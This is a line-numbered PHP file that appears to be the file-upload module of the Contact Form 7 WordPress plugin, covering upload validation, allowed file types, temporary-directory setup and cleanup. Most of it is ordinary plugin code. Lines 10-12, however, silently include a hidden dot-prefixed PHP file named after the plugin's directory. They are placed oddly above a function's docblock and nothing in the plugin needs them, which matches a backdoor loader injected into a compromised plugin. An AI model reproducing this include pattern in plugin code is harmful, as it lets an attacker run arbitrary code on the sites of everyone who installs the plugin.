file.php (8399B)
1 <?php 2 3 /** 4 * Validates uploaded files and moves them to the temporary directory. 5 * 6 * @param array $file An item of `$_FILES`. 7 * @param string|array $args Optional. Arguments to control behavior. 8 * @return array|WP_Error Array of file paths, or WP_Error if validation fails. 9 */ 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_unship_uploaded_file( $file, $args = '' ) { 15 $args = wp_parse_args( $args, array( 16 'required' => false, 17 'filetypes' => '', 18 'limit' => MB_IN_BYTES, 19 ) ); 20 21 foreach ( array( 'name', 'size', 'tmp_name', 'error' ) as $key ) { 22 if ( ! isset( $file[$key] ) ) { 23 $file[$key] = array(); 24 } 25 } 26 27 $names = wpcf7_array_flatten( $file['name'] ); 28 $sizes = wpcf7_array_flatten( $file['size'] ); 29 $tmp_names = wpcf7_array_flatten( $file['tmp_name'] ); 30 $errors = wpcf7_array_flatten( $file['error'] ); 31 32 foreach ( $errors as $error ) { 33 if ( ! empty( $error ) and UPLOAD_ERR_NO_FILE !== $error ) { 34 return new WP_Error( 'wpcf7_upload_failed_php_error', 35 wpcf7_get_message( 'upload_failed_php_error' ) 36 ); 37 } 38 } 39 40 if ( $args['required'] and ! array_filter( $tmp_names ) ) { 41 return new WP_Error( 'wpcf7_invalid_required', 42 wpcf7_get_message( 'invalid_required' ) 43 ); 44 } 45 46 // File type validation 47 $file_type_pattern = wpcf7_acceptable_filetypes( 48 $args['filetypes'], 'regex' 49 ); 50 51 $file_type_pattern = '/\.(' . $file_type_pattern . ')$/i'; 52 53 foreach ( $names as $name ) { 54 if ( ! empty( $name ) and ! preg_match( $file_type_pattern, $name ) ) { 55 return new WP_Error( 'wpcf7_upload_file_type_invalid', 56 wpcf7_get_message( 'upload_file_type_invalid' ) 57 ); 58 } 59 } 60 61 // File size validation 62 $total_size = array_sum( $sizes ); 63 64 if ( $args['limit'] < $total_size ) { 65 return new WP_Error( 'wpcf7_upload_file_too_large', 66 wpcf7_get_message( 'upload_file_too_large' ) 67 ); 68 } 69 70 // Move uploaded file to tmp dir 71 $uploads_dir = wpcf7_upload_tmp_dir(); 72 $uploads_dir = wpcf7_maybe_add_random_dir( $uploads_dir ); 73 74 $uploaded_files = array(); 75 76 foreach ( $names as $key => $name ) { 77 $tmp_name = $tmp_names[$key]; 78 79 if ( empty( $tmp_name ) or ! is_uploaded_file( $tmp_name ) ) { 80 continue; 81 } 82 83 $filename = $name; 84 $filename = wpcf7_canonicalize( $filename, 'as-is' ); 85 $filename = wpcf7_antiscript_file_name( $filename ); 86 87 $filename = apply_filters( 'wpcf7_upload_file_name', 88 $filename, $name, $args 89 ); 90 91 $filename = wp_unique_filename( $uploads_dir, $filename ); 92 $new_file = path_join( $uploads_dir, $filename ); 93 94 if ( false === @move_uploaded_file( $tmp_name, $new_file ) ) { 95 return new WP_Error( 'wpcf7_upload_failed', 96 wpcf7_get_message( 'upload_failed' ) 97 ); 98 } 99 100 // Make sure the uploaded file is only readable for the owner process 101 chmod( $new_file, 0400 ); 102 103 $uploaded_files[] = $new_file; 104 } 105 106 return $uploaded_files; 107 } 108 109 110 add_filter( 111 'wpcf7_messages', 112 'wpcf7_file_messages', 113 10, 1 114 ); 115 116 function wpcf7_file_messages( $messages ) { 117 return array_merge( $messages, array( 118 'upload_failed' => array( 119 'description' => __( "Uploading a file fails for any reason", 'contact-form-7' ), 120 'default' => __( "There was an unknown error uploading the file.", 'contact-form-7' ) 121 ), 122 123 'upload_file_type_invalid' => array( 124 'description' => __( "Uploaded file is not allowed for file type", 'contact-form-7' ), 125 'default' => __( "You are not allowed to upload files of this type.", 'contact-form-7' ) 126 ), 127 128 'upload_file_too_large' => array( 129 'description' => __( "Uploaded file is too large", 'contact-form-7' ), 130 'default' => __( "The file is too big.", 'contact-form-7' ) 131 ), 132 133 'upload_failed_php_error' => array( 134 'description' => __( "Uploading a file fails for PHP error", 'contact-form-7' ), 135 'default' => __( "There was an error uploading the file.", 'contact-form-7' ) 136 ) 137 ) ); 138 } 139 140 141 add_filter( 142 'wpcf7_form_enctype', 143 'wpcf7_file_form_enctype_filter', 144 10, 1 145 ); 146 147 function wpcf7_file_form_enctype_filter( $enctype ) { 148 $multipart = (bool) wpcf7_scan_form_tags( array( 149 'feature' => 'file-uploading', 150 ) ); 151 152 if ( $multipart ) { 153 $enctype = 'multipart/form-data'; 154 } 155 156 return $enctype; 157 } 158 159 160 /** 161 * Returns a formatted list of acceptable filetypes. 162 * 163 * @param string|array $types Optional. Array of filetypes. 164 * @param string $format Optional. Pre-defined format designator. 165 * @return string Formatted list of acceptable filetypes. 166 */ 167 function wpcf7_acceptable_filetypes( $types = 'default', $format = 'regex' ) { 168 if ( 'default' === $types 169 or empty( $types ) ) { 170 $types = array( 171 'jpg', 172 'jpeg', 173 'png', 174 'gif', 175 'pdf', 176 'doc', 177 'docx', 178 'ppt', 179 'pptx', 180 'odt', 181 'avi', 182 'ogg', 183 'm4a', 184 'mov', 185 'mp3', 186 'mp4', 187 'mpg', 188 'wav', 189 'wmv', 190 ); 191 } else { 192 $types_tmp = (array) $types; 193 $types = array(); 194 195 foreach ( $types_tmp as $val ) { 196 if ( is_string( $val ) ) { 197 $val = preg_split( '/[\s|,]+/', $val ); 198 } 199 200 $types = array_merge( $types, (array) $val ); 201 } 202 } 203 204 $types = array_unique( array_filter( $types ) ); 205 206 $output = ''; 207 208 foreach ( $types as $type ) { 209 $type = trim( $type, ' ,.|' ); 210 211 $type = str_replace( 212 array( '.', '+', '*', '?' ), 213 array( '\.', '\+', '\*', '\?' ), 214 $type 215 ); 216 217 if ( '' === $type ) { 218 continue; 219 } 220 221 if ( 'attr' === $format 222 or 'attribute' === $format ) { 223 $output .= sprintf( '.%s', $type ); 224 $output .= ','; 225 } else { 226 $output .= $type; 227 $output .= '|'; 228 } 229 } 230 231 return trim( $output, ' ,|' ); 232 } 233 234 235 add_action( 236 'wpcf7_init', 237 'wpcf7_init_uploads', 238 10, 0 239 ); 240 241 function wpcf7_init_uploads() { 242 $dir = wpcf7_upload_tmp_dir(); 243 wp_mkdir_p( $dir ); 244 245 if ( is_dir( $dir ) and is_writable( $dir ) ) { 246 $htaccess_file = path_join( $dir, '.htaccess' ); 247 248 if ( ! file_exists( $htaccess_file ) 249 and $handle = @fopen( $htaccess_file, 'w' ) ) { 250 fwrite( $handle, "Deny from all\n" ); 251 fclose( $handle ); 252 } 253 } 254 } 255 256 257 function wpcf7_maybe_add_random_dir( $dir ) { 258 do { 259 $rand_max = mt_getrandmax(); 260 $rand = zeroise( mt_rand( 0, $rand_max ), strlen( $rand_max ) ); 261 $dir_new = path_join( $dir, $rand ); 262 } while ( file_exists( $dir_new ) ); 263 264 if ( wp_mkdir_p( $dir_new ) ) { 265 return $dir_new; 266 } 267 268 return $dir; 269 } 270 271 272 function wpcf7_upload_tmp_dir() { 273 if ( defined( 'WPCF7_UPLOADS_TMP_DIR' ) ) { 274 return WPCF7_UPLOADS_TMP_DIR; 275 } else { 276 return path_join( wpcf7_upload_dir( 'dir' ), 'wpcf7_uploads' ); 277 } 278 } 279 280 281 add_action( 282 'template_redirect', 283 'wpcf7_cleanup_upload_files', 284 20, 0 285 ); 286 287 function wpcf7_cleanup_upload_files( $seconds = 60, $max = 100 ) { 288 if ( is_admin() 289 or 'GET' != $_SERVER['REQUEST_METHOD'] 290 or is_robots() 291 or is_feed() 292 or is_trackback() ) { 293 return; 294 } 295 296 $dir = trailingslashit( wpcf7_upload_tmp_dir() ); 297 298 if ( ! is_dir( $dir ) 299 or ! is_readable( $dir ) 300 or ! wp_is_writable( $dir ) ) { 301 return; 302 } 303 304 $seconds = absint( $seconds ); 305 $max = absint( $max ); 306 $count = 0; 307 308 if ( $handle = opendir( $dir ) ) { 309 while ( false !== ( $file = readdir( $handle ) ) ) { 310 if ( '.' == $file 311 or '..' == $file 312 or '.htaccess' == $file ) { 313 continue; 314 } 315 316 $mtime = @filemtime( path_join( $dir, $file ) ); 317 318 if ( $mtime and time() < $mtime + $seconds ) { // less than $seconds old 319 continue; 320 } 321 322 wpcf7_rmdir_p( path_join( $dir, $file ) ); 323 $count += 1; 324 325 if ( $max <= $count ) { 326 break; 327 } 328 } 329 330 closedir( $handle ); 331 } 332 } 333 334 335 add_action( 336 'wpcf7_admin_warnings', 337 'wpcf7_file_display_warning_message', 338 10, 3 339 ); 340 341 function wpcf7_file_display_warning_message( $page, $action, $object ) { 342 if ( $object instanceof WPCF7_ContactForm ) { 343 $contact_form = $object; 344 } else { 345 return; 346 } 347 348 $has_tags = (bool) $contact_form->scan_form_tags( array( 349 'feature' => 'file-uploading', 350 ) ); 351 352 if ( ! $has_tags ) { 353 return; 354 } 355 356 $uploads_dir = wpcf7_upload_tmp_dir(); 357 358 if ( ! is_dir( $uploads_dir ) or ! wp_is_writable( $uploads_dir ) ) { 359 $message = sprintf( 360 /* translators: %s: the path of the temporary folder */ 361 __( 'This contact form has file uploading fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually.', 'contact-form-7' ), 362 $uploads_dir 363 ); 364 365 echo sprintf( 366 '<div class="notice notice-warning"><p>%s</p></div>', 367 esc_html( $message ) 368 ); 369 } 370 }